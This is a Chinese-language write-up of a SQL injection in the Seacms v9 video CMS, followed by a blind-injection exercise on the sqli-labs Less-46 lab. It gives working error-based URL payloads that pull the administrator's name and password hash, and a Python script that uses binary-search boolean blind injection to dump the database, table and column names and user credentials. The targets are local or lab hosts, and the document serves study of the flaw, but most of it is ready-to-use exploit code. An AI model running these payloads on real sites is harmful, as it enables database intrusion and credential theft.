Seacms v9 SQL 注入漏洞分析与利用
1. 漏洞概述
Seacms（海洋 CMS）是一款基于 PHP5.X + MySQL 架构的视频点播系统，被广泛用于影视站点管理。在 Seacms v9 版本中，./comment/api/index.php 存在 SQL 注入漏洞，漏洞参数为 $rlist，可用于执行 SQL 注入攻击。
2. 漏洞成因
由于 Seacms v9 是开源的，我们可以直接查看其源码，发现 rlist[] 参数未经过严格的过滤和预处理，导致攻击者可以构造恶意 SQL 语句，实现数据库查询操作。
3. 数据库结构
Seacms v9 版本使用的数据库默认名称为 seacms，其中管理员信息存储在 sea_admin 表。
- 表名：
sea_admin - 字段：
name（管理员用户名）、password（管理员密码
进行代码分析后找到注点，进行尝试注入
payload：
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
tips：在进行注入时，sea_comment表中一定得先有数据，否则将无法成功注入！！！！
插入数据：
INSERT INTO sea_comment (uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote
) VALUES
(123, 456, 1, 'user1', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'Nice video!', 0, 1, 5, 0, '', 3),
(124, 457, 2, 'user2', '192.168.1.3', 0, UNIX_TIMESTAMP(), 'Great content!', 0, 0, 8, 1, '', 2);
管理员用户密码注入：
payload：
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
最后由md5解密得管理员账号密码为：admin
二，order by +布尔盲注
由源码可得是通过sort传入的字段进行排序，于是用sort=if(表达式,id,username)的方式注入，通过BS爬虫爬取表格中的username下一格的值看是否等于Dumb来判断表达式的真假，可以使用二分法加快注入速度
代码如下：
import requests
from bs4 import BeautifulSoupdef get_username(response_text):soup = BeautifulSoup(response_text, 'html.parser')username = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')return username.text if username else ''def boolean_sqli_exploit(payload_template):result = ''i = 1while True:left, right = 32, 127while left < right:mid = (left + right) // 2url = payload_template.format(index=i, char_value=mid)resp = requests.get(url)if get_username(resp.text) == 'Dumb':left = mid + 1else:right = midif left == 32:breakresult += chr(left)i += 1print(result)return resultdef inject_database():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)def inject_tables():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)def inject_columns():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)def inject_data():payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{char_value},id,username) -- "return boolean_sqli_exploit(payload)if __name__ == '__main__':# inject_database()# inject_tables()# inject_columns()inject_data()